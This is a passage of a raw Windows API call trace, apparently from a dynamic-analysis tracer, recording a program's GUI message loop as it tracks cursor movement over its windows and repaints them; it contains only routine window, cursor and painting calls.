hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0285.396] GetCurrentProcessId () returned 0x8d0 [0285.396] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0285.396] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0285.396] GetCapture () returned 0x0 [0285.396] WaitMessage () returned 1 [0285.403] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0285.403] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x20d035c) returned 0x1 [0285.403] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=860, y=525)) returned 1 [0285.403] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0285.403] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.403] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.403] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.404] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.404] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.404] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0285.404] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0285.404] GetCapture () returned 0x0 [0285.404] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0285.404] WindowFromPoint (Point=0x35c) returned 0x1035a [0285.404] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x20d035c) returned 0x1 [0285.404] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0285.404] GetCurrentProcessId () returned 0x8d0 [0285.404] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0285.404] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0285.405] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xc0015d) returned 0x0 [0285.405] GetKeyState (nVirtKey=18) returned 1 [0285.405] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0285.405] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=860, y=525)) returned 1 [0285.405] WindowFromPoint (Point=0x35c) returned 0x1035a [0285.405] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x20d035c) returned 0x1 [0285.405] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0285.405] GetCurrentProcessId () returned 0x8d0 [0285.405] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0285.405] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0285.405] GetCapture () returned 0x0 [0285.405] WaitMessage () returned 1 [0285.424] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0285.424] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2170352) returned 0x1 [0285.424] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=850, y=535)) returned 1 [0285.424] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0285.424] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.424] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.424] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.425] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.425] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.425] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0285.425] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0285.425] GetCapture () returned 0x0 [0285.425] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0285.425] WindowFromPoint (Point=0x352) returned 0x1035a [0285.425] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2170352) returned 0x1 [0285.425] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0285.425] GetCurrentProcessId () returned 0x8d0 [0285.425] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0285.425] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0285.425] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xca0153) returned 0x0 [0285.425] GetKeyState (nVirtKey=18) returned 1 [0285.425] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0285.426] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=850, y=535)) returned 1 [0285.426] WindowFromPoint (Point=0x350) returned 0x1035a [0285.426] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2180350) returned 0x1 [0285.426] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0285.426] GetCurrentProcessId () returned 0x8d0 [0285.426] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0285.426] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0285.426] GetCapture () returned 0x0 [0285.426] WaitMessage () returned 1 [0285.433] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0285.433] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2210348) returned 0x1 [0285.433] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=840, y=545)) returned 1 [0285.433] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0285.433] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.433] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.433] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.433] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.433] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.434] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0285.434] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0285.434] GetCapture () returned 0x0 [0285.434] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0285.434] WindowFromPoint (Point=0x348) returned 0x1035a [0285.434] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2210348) returned 0x1 [0285.434] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0285.434] GetCurrentProcessId () returned 0x8d0 [0285.434] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0285.435] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0285.435] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xd40149) returned 0x0 [0285.435] GetKeyState (nVirtKey=18) returned 1 [0285.435] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0285.435] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0285.435] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0285.435] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0285.435] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0285.435] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=840, y=545)) returned 1 [0285.435] WindowFromPoint (Point=0x348) returned 0x1035a [0285.436] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2210348) returned 0x1 [0285.436] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0285.436] GetCurrentProcessId () returned 0x8d0 [0285.436] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0285.436] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0285.436] GetCapture () returned 0x0 [0285.436] WaitMessage () returned 1 [0285.454] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0285.454] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x22b033e) returned 0x1 [0285.454] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=830, y=555)) returned 1 [0285.454] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0285.454] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.454] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.454] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.454] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.454] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.455] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0285.455] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0285.455] GetCapture () returned 0x0 [0285.455] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0285.455] WindowFromPoint (Point=0x33e) returned 0x1035a [0285.455] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x22b033e) returned 0x1 [0285.455] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0285.455] GetCurrentProcessId () returned 0x8d0 [0285.455] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0285.455] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0285.455] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xde013f) returned 0x0 [0285.455] GetKeyState (nVirtKey=18) returned 1 [0285.455] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0285.455] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=830, y=555)) returned 1 [0285.455] WindowFromPoint (Point=0x33f) returned 0x1035a [0285.455] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x22b033f) returned 0x1 [0285.455] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0285.455] GetCurrentProcessId () returned 0x8d0 [0285.456] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0285.456] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0285.456] GetCapture () returned 0x0 [0285.456] WaitMessage () returned 1 [0285.464] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0285.464] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x235033b) returned 0x1 [0285.464] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=827, y=565)) returned 1 [0285.464] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0285.464] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.464] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.464] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.464] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.464] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0285.465] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0285.465] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0285.465] GetCapture () returned 0x0 [0285.465] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0285.465] WindowFromPoint (Point=0x33b) returned 0x1035a [0285.465] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x235033b) returned 0x1 [0285.466] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0285.466] GetCurrentProcessId () returned 0x8d0 [0285.466] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0285.466] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0285.466] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xe8013c) returned 0x0 [0285.466] GetKeyState (nVirtKey=18) returned 1 [0285.466] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0285.466] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=827, y=565)) returned 1 [0285.466] WindowFromPoint (Point=0x338) returned 0x1035a [0285.466] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2340338) returned 0x1 [0285.466] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0285.466] GetCurrentProcessId () returned 0x8d0 [0285.466] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0285.466] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0285.466] GetCapture () returned 0x0 [0285.466] WaitMessage () returned 1 [0285.480] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0285.480] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x23f033b) returned 0x1 [0285.480] GetCursorPos (in: lpPoint=0x18fc8c | out: lpPoint=0x18fc8c*(x=827, y=575)) returned 1 [0285.480] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fc74 | out: lpPoint=0x18fc74) returned 1 [0285.480] PtInRect (lprc=0x18fc68, pt=0x164) returned 1 [0285.480] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x2000001) returned 0x0 [0285.480] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0285.480] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0285.480] GetCapture () returned 0x0 [0285.480] PtInRect (lprc=0x18fd3c, pt=0x164) returned 1 [0285.480] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fcf4 | out: lpPoint=0x18fcf4) returned 1 [0285.480] WindowFromPoint (Point=0x33b) returned 0xc0060 [0285.480] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x23f033b) returned 0x1 [0285.481] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fcd4 | out: lpdwProcessId=0x18fcd4) returned 0x8cc [0285.481] GetCurrentProcessId () returned 0x8d0 [0285.481] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0285.481] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fcd8 | out: lpPoint=0x18fcd8) returned 1 [0285.481] PtInRect (lprc=0x18fccc, pt=0x164) returned 1 [0285.481] GetKeyState (nVirtKey=18) returned 1 [0285.481] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0285.481] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=827, y=575)) returned 1 [0285.481] WindowFromPoint (Point=0x33b) returned 0xc0060 [0285.481] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x23f033b) returned 0x1 [0285.481] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0285.481] GetCurrentProcessId () returned 0x8d0 [0285.481] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0285.481] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0285.482] PtInRect (lprc=0x18fed0, pt=0x164) returned 1 [0285.482] GetCapture () returned 0x0 [0285.482] WaitMessage () returned 1 [0285.493] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0285.493] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x249033b) returned 0x1 [0285.493] GetCursorPos (in: lpPoint=0x18fc8c | out: lpPoint=0x18fc8c*(x=827, y=585)) returned 1 [0285.493] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fc74 | out: lpPoint=0x18fc74) returned 1 [0285.493] PtInRect (lprc=0x18fc68, pt=0x164) returned 0 [0285.493] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x2000001) returned 0x0 [0285.494] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0285.494] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0285.494] GetCapture () returned 0x0 [0285.494] PtInRect (lprc=0x18fd3c, pt=0x164) returned 0 [0285.494] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd30 | out: lpPoint=0x18fd30) returned 1 [0285.494] WindowFromPoint (Point=0x33b) returned 0xc0060 [0285.494] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x249033b) returned 0x1 [0285.494] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fd10 | out: lpdwProcessId=0x18fd10) returned 0x8cc [0285.494] GetCurrentProcessId () returned 0x8d0 [0285.494] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0285.494] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd14 | out: lpPoint=0x18fd14) returned 1 [0285.494] PtInRect (lprc=0x18fd08, pt=0x164) returned 0 [0285.494] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x200, wParam=0x0, lParam=0x1440164) returned 0x0 [0285.494] GetKeyState (nVirtKey=18) returned 1 [0285.494] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0285.494] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0285.494] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0285.495] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0285.495] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0285.495] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=827, y=585)) returned 1 [0285.495] WindowFromPoint (Point=0x338) returned 0xc0060 [0285.495] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2490338) returned 0x1 [0285.496] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0285.496] GetCurrentProcessId () returned 0x8d0 [0285.496] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0285.496] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0285.496] PtInRect (lprc=0x18fed0, pt=0x161) returned 0 [0285.496] GetCapture () returned 0x0 [0285.496] WaitMessage () returned 1 [0285.503] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0285.503] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x250033b) returned 0x1 [0285.503] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=827, y=592)) returned 1 [0285.503] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0285.503] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0285.504] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0285.504] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0285.504] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0285.504] GetCapture () returned 0x0 [0285.504] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd3c | out: lpPoint=0x18fd3c) returned 1 [0285.504] WindowFromPoint (Point=0x33b) returned 0x10340 [0285.504] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x250033b) returned 0x1 [0285.504] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fd1c | out: lpdwProcessId=0x18fd1c) returned 0x8cc [0285.504] GetCurrentProcessId () returned 0x8d0 [0285.504] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0285.504] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd20 | out: lpPoint=0x18fd20) returned 1 [0285.504] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x200, wParam=0x0, lParam=0x4001d) returned 0x0 [0285.504] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f958 | out: lpdwProcessId=0x18f958) returned 0x8cc [0285.504] GetCurrentProcessId () returned 0x8d0 [0285.504] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0285.504] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18fbc8) returned 0x0 [0285.504] GetKeyState (nVirtKey=18) returned 1 [0285.505] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0285.516] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0285.516] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0285.516] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0285.516] GetClientRect (in: hWnd=0x10340, lpRect=0x18f8c8 | out: lpRect=0x18f8c8) returned 1 [0285.516] FillRect (hDC=0x1b0106ca, lprc=0x18f8c8, hbr=0xe100186) returned 1 [0285.517] IsIconic (hWnd=0xc0060) returned 0 [0285.517] IsIconic (hWnd=0xc0060) returned 0 [0285.517] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0285.517] FillRect (hDC=0x3e01069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0285.517] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3e01069e, lParam=0x4) returned 0x0 [0285.517] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3e01069e, lParam=0x10340) returned 0xe100186 [0285.517] GetSysColor (nIndex=8) returned 0x0 [0285.517] SetTextColor (hdc=0x3e01069e, color=0x0) returned 0x0 [0285.517] GetSysColor (nIndex=15) returned 0xf0f0f0 [0285.517] SetBkColor (hdc=0x3e01069e, color=0xf0f0f0) returned 0xf0f0f0 [0285.518] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0285.518] GetCurrentProcessId () returned 0x8d0 [0285.518] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0285.518] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0285.518] GetWindowThreadProcessId (in: 